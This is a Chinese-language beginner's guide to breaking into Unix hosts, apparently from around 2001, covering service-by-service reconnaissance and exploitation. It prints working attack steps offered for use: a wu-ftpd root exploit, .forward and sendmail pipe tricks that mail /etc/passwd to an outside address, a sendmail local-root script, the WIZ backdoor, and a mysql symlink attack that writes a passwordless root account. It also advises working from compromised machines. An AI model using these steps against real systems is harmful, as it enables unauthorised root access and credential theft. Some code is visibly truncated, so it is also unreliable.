周末无事可做，刚一上QQ就一大堆人跟我抱怨，说很多新手对于入侵都感觉到无从下手。其实入侵有很多的步骤，但入侵前对你所要入侵的主机进行信息搜集应该是第一步。但大多数刚对安全产生兴趣的朋友不知道要扫描什么，或者对扫描的结果不知道有什么用处，如何分析。所以我随手写了这个小段子，收集了一些常见的服务漏洞，希望对大家有帮助。

要扫描的东西很多，我们先从端口扫描讲起。另外以下很多步骤都是在unix/linux下完成的，所以如果你自己的电脑上没有这些作平台的话就找只肉鸡吧。

1.nmap
nmap可以算是本世纪最出色的端口扫描软件了，它使用了半开放式的扫描技术，使你在被扫描的主机上留下极小的痕迹，并且可以通过系统指纹来判断作系统类型，它的unix/linux版本可以在www.insecure.org/nmap/找到，NT版本是则是发布在www.eeye.com上。
# ./nmap -sT -O www.target.com

Starting nmap V. 2.3BETA12 by Fyodor (fyodor@dhp.com, www.insecure.org/nmap/)

Interesting ports on www.targe.com (127.0.0.1):
Port State Protocol Service
7 open tcp echo
9 open tcp discard
13 open tcp daytime
19 open tcp chargen
21 open tcp ftp
23 open tcp telnet
25 open tcp smtp
37 open tcp time
79 open tcp finger
80 open tcp http
111 open tcp sunrpc
443 open tcp https
512 open tcp exec
513 open tcp login
514 open tcp sh*ll
515 open tcp printer
540 open tcp uucp
2049 open tcp nfsd
3306 open tcp mysql
4045 open tcp lockd
6000 open tcp xwindow
6112 open tcp dtspc
7100 open tcp fs

TCP Sequence Prediction: Class=random positive increments
Difficulty=44933 (Worthy challenge)
Remote operating system guess: OpenBSD 2.2
Nmap run completed -- 1 IP address (1 host up) scanned in 34 seconds

以上就是我们扫描到的开放端口及所对应的服务，一般来说，软件为了在不同的作系统上使用同样的协议，都使用着规定的标准端口，所以如果管理员没做特殊手脚的话，端口所对应的服务是不会错的。同时通过系统指纹猜测出该系统的作类型。
但这些扫描结果对我们有什么用处呢？我们至少知道了对方的服务，这样我们就可以来看看几个比较敏感的服务有没有什么问题了：

2.ftp
#ftp www.target.com
Connected to www.target.com
220 FTP server(Version wu- 2.4(1) Sun May 18:46:23 CDT 2001) ready.
Name(nohacker:root): anonymous
331 Guest login ok， send your complete e-mail address as password.
Password:
230 Welcome to The missing world
230 Guest login ok, access restrictions apply.
ftp>

出问题了吧？这里就可以发现这个使用的是wu-ftp 2.4(1)，如果我们有一个合法帐号，例如hacker，那么就可以利用下面的方法拿到root：
先编译exploit：
# cat wu-ftp.c
#include
#include
#include
main()
{
seteuid(0);
system("cp /bin/sh tmp/.sh");
system("chmod 6777 tmp/.sh");
}

# cc -o bug wu-ftp.c
然后上传上去执行：
ftp> quote "site exec bash -c wu-ftp.c "
200-bash -c wu-ftp.c
200 (end of 'bash -c wu-ftp.c ')
如果成功的话，你再telnet到这台主机上时.sh应该已经被copy到tmp下了,执行它：
#cd tmp
#./.sh
看看成功没有：
#id
uid=12(hacker) gid=5(user) euid=0(root)

这是在有帐号和有这个漏洞的前提下，如果没有这些先前条件呢？看看ftp还能做什么：
ftp>pwd
257 “ /” is current directory.
ftp>ls –a
drwxrwxr-x 8 root wheel 1024 Oct 21 11:12 .
drwxrwxr-x 8 root wheel 1024 Oct 21 11:12 ..
drwxrwxr-x 2 root wheel 1024 Oct 21 11:12 bin
drwxrwxr-x 2 root wheel 1024 Oct 21 11:12 etc
drwxrwxr-x 2 root wheel 1024 Oct 21 1999 incoming
226 Transfer complete.
几个公众目录都是可写的，有空子可钻。另外如果是wu-ftp 2.4之前的版本的话，在主目录下输入：
ftp>cd /
别以为这跟刚才输入的没区别，现在你再输入ls –a的话会发现你已经到了正常的基础目录里了。
除了这些，我们还可以：
ftp>cd etc
250 CWD command successful.
ftp>get passwd
200 PORT command successful.
150 Opening BINARY mode data connection for passwd (201 bytes).
226 ASCII Transfer complete.
231 bytes received in 0.12 seconds (4.61 Kbytes/s)
ftp>!cat passwd
root:*:0:0:::
bin:*:1:1:::
operator:*:11:0:::
ftp:*:14:50:::
nobody:*:99:99:::
是shadow过的，不过至少告诉了我们有什么用户，这几个都是系统用户，有兴趣的还可以去看看它们是不是用的默认密码。
主目录是可写的，那我们还可以用sendmail来拿passwd：
# echo "| /bin/cat /etc/passwd|sed 's/^/ /'|/bin/mail admin@root.com.cn" >getpasswd
记住这里不能直接命名为.forward，放上去后再改名：
ftp>put getpasswd .forward
然后寄封信到anonymous：
# echo test | mail anonymous@www.target.com
现在去检查你的信箱把。

上面那些都是要开了匿名ftp才能用的方法，如果没开的话就让我们看看其它服务吧。

3.smtp
先看看sendmail的几个老漏洞，前提是你要有一个合法用户：

sendmail 5.55拿passwd，跟上面的差不多:
# telnet www.target.com 25
Trying 127.0.0.1...
Connected to www.target.com
Escape character is '^]'.
220 www.target.com Sendmail 5.55 ready at Saturday, 12 Oct 00 12:34
mail from: "|/bin/mail admin@root.com.cn < /etc/passwd"
250 "|/bin/mail admin@root.com.cn < /etc/passwd"... Sender ok
rcpt to: nosuchuser
550 nosuchuser... User unknown
data
354 Enter mail, end with "." on a line by itself
..
250 Mail accepted
quit
Connection closed by foreign host.

再看看8.7上的洞洞：
# telnet www.target.com 25
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 www.target.com ESMTP Sendmail 8.7.5/8.7.3; Saturday, 12 Oct 00 12:34
quit
221 localhost closing connection
Connection closed by foreign host.
# telnet www.target.com

hackerworld(SunOS)
login: nice
Password:
Last login: Sun May 10 6:15:23 from *.*.*.*
You have new mail.

$ cat >send.sh
----------------------------send.sh begin-------------------------------------
#/bin/sh
echo 'main() '>>leshka.c
echo '{ '>>leshka.c
echo ' execl("/usr/sbin/sendmail","tmp/smtpd",0); '>>leshka.c
echo '} '>>leshka.c
#
#
echo 'main() '>>smtpd.c
echo '{ '>>smtpd.c
echo ' setuid(0); setgid(0); '>>smtpd.c
echo ' system("cp /bin/sh tmp;chmod a=rsx tmp/sh"); '>>smtpd.c
echo '} '>>smtpd.c
#
#
cc -o leshka leshka.c;cc -o tmp/smtpd smtpd.c
./leshka
kill -HUP `ps -ax|grep tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[igit:]" "\n"
|head -n 1`
rm leshka.c leshka smtpd.c tmp/smtpd
echo "Now type: tmp/sh"
-------------------------------send.sh end------------------------------------
$ chmod 755 send.sh
$ ./send.sh
Now type: tmp/sh
$ tmp/sh
# whoami
root

还有WIZ后门：
# telnet www.target.com 25
Trying 127.0.0.1...
Connected to www.target.com
Escape character is '^]'.
220 www.target.com Sendmail 5.55 ready at Saturday, 12 Oct 00 12:34
wiz
Sh*ll
$

4.finger
这个东西被人成为万恶之源，让我们先试试拿出用户名列表：
# finger O@www.targe.com
[www.targe.com]
root
root
wyj

另外有朋友问我有些时候不同的主机为什么输出的finger格式不一样，这个主要是因为所使用的作系统版本不同，导致finger的客户端的版本不同而发生的。所以细心的朋友可以通过观察这些不同的finger输出格式来帮助自己判断对方的作系统。就拿root的显示区别来说吧，具体的区别如下：
IRIX
root In real life:Super-User

BSD
root Name :System Administrator

SUN
root In real life :Supper-User

Linux
root Name:root

FreeBsd
root Name:Charlie Root

Sco
root Name:Superuser

5.http
主要就是CGI漏洞的扫描，web服务器除了微软的IIS以外出严重问题的很少。

$ telnet www.targe.com 80
Trying 127.0.0.1...
Connected to www.targe.com.
Escape character is '^]'.
HEAD / HTTP/1.0

HTTP/1.1 200 OK
Date: Mon, 14 May 2001 23:44:54 GMT
Server: Apache/1.3.12 (Unix) (Red Hat/Linux) mod_fastcgi/2.2.10 PHP/4.0.2
Last-Modified: Mon, 26 Mar 2001 21:44:10 GMT
ETag: "6406d-b7d-3abfb82a"
Content-Length: 2941
Keep-Alive: timeout=15, max=100
Content-Type: text/html
Connection: close

6.twwwscan
非常不错的cgi扫描工具，这个命令行扫描器在Win9x就可以用，别告诉我你没用过：
Don't tell your web server free from attack twwwscan 1.2 2001/02/19
made by pilot
http://search.iland.co.kr

usage : twwwscan
: -v(~0.6) scan type(display status) or -n(no display)
: -t1(use GET),-t2(scan virtual host),-t3(virtual and GET) or -n
: passive mode scan -pw(windows) -pu(unix) -pa(ALL) or -n(no apply)
: -ids(Anti-IDS mode URL Encoding)

example 1 : twwwscan drill.hackerslab.org 80
example 2 : twwwscan 127.0.0.1 80 -v
example 3 : twwwscan target.com 80 -n -n -pw
example 4 : twwwscan virtual.yourhost.com 8080 -v -t3 -pu
example 5 : twwwscan idstest.yourhost.com 80 -v -t1 -pa -ids

contact : search@iland.co.kr (http://search.iland.co.kr)

Tested On : Windows 95OSR2,98,98SE,NT4,2k,Me

thanks r0ar,korea security guys,kuol(he designed the twwwscan logo)
Dug Song(monkey.org),UNYUN(Shadow Penguin Security),Roelof(a author of pudding)

Powered by Borland C++ 5.5 (http://www.borland.com)

不要再问我例如什么扫描的漏洞怎么利用的问题，去到我的主页上看我收集的《网络程序漏洞攻击手册》和《如何自己查找漏洞资料》。

7.rpc
呵呵，又到了我最喜欢的部分了。
$ rpcinfo -p www.target.com
program vers proto port service
100000 4 tcp 111 rpcbind
100000 3 tcp 111 rpcbind
100000 2 tcp 111 rpcbind
100000 4 udp 111 rpcbind
100000 3 udp 111 rpcbind
100000 2 udp 111 rpcbind
100024 1 udp 32772 status
100024 1 tcp 32771 status
100011 1 udp 32773 rquotad
100021 1 udp 4045 nlockmgr
100021 2 udp 4045 nlockmgr
100021 3 udp 4045 nlockmgr
100021 4 udp 4045 nlockmgr
100002 2 udp 32774 rusersd
100003 2 udp 2049 nfs
100002 3 udp 32774 rusersd
100002 2 tcp 32772 rusersd
100002 3 tcp 32772 rusersd
100012 1 udp 32775 sprayd
100008 1 udp 32776 walld
100221 1 tcp 32773
100021 1 tcp 4045 nlockmgr
100021 2 tcp 4045 nlockmgr
100021 3 tcp 4045 nlockmgr
100021 4 tcp 4045 nlockmgr
有nfs，去瞧瞧：

# showmount -ea www.target.com
Export list for www.target.com:
/etc (everyone)
/usr (everyone)
/var/spool/mail (everyone)
/usr/local (everyone)

去拿passwd或者放.rhosts吧！说到.rhosts，很多系统（例如SunOS）默认的hosts.equiv文件都是“+ +”的，所以别忘了rlogin进去试试。

8.mysql
口碑不错的东西，但漏洞还是一堆，首先当然是sa的弱口令，还有3.23.31以前的溢出、还有下面的库文件创建问题：

$ cd /vartmp
$ ln -s /etc/passwd gotcha.ISD
$ ln -s /etc/shadow make_me_r00t.ISD
$ mysql -u user -h localhost -p somepassword '../..tmp'
create table gotcha(qqq varchar(255));
create table make_me_r00t(qqq varchar(255));
insert into gotcha values('\nr00t::0:0:Hacked_Fucked_R00T:/:/bin/sh\n');
insert into make_me_r00t values('\nr00t::1:0:99999:7:-1:-1:\n');
\q
$

9.x-window
+和-这两个键相差不到半厘米，管理员在设置xhost会不会敲错呢，呵呵，用xterm登陆一下就知道了。还有xwininfo：

# xwininfo -root

xwininfo: Window id: 0x25 (the root window) (has no name)

Absolute upper-left X: 0
Absolute upper-left Y: 0
Relative upper-left X: 0
Relative upper-left Y: 0
Width: 1024
Height: 768
Depth: 16
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x21 (installed)
Bit Gravity State: NorthWestGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners: +0+0 -0+0 -0-0 +0-0
-geometry 1024x768+0+0

10.感觉+经验
其实入侵的方法很多，有一大部分都是通过网管的错误配置而引起的，往往这种小错误不能引起人们的注意，但坏事常常就坏在它们身上。举个例子吧，我朋友租了一台模拟主机，需要远程维护的那种，他找到我让我帮他做安全检测。我看了看，主机维护的很不错，各种默认选项都经过修改，几乎得不到任何有用小信息。就在我要放弃的时候，想起网管们都经常使用一种env.cgi的脚本程序来测试模拟主机的变量路径，而往往在放上去以后就忘了删除，于是我试着访问这个程序，果然还在，这里面显示了包括主机作系统等重要的信息。我看到主机的作系统为Solaris 8，于是找了个最新的Solaris溢出漏洞就解决掉了。从此可见入侵有时候还是需要一点经验加灵感的。

时间比较紧，所以就写这些，如果大家有空的话强烈建议大家看看samsa写的那篇《网络入侵实用战术手册》，写的非常不错。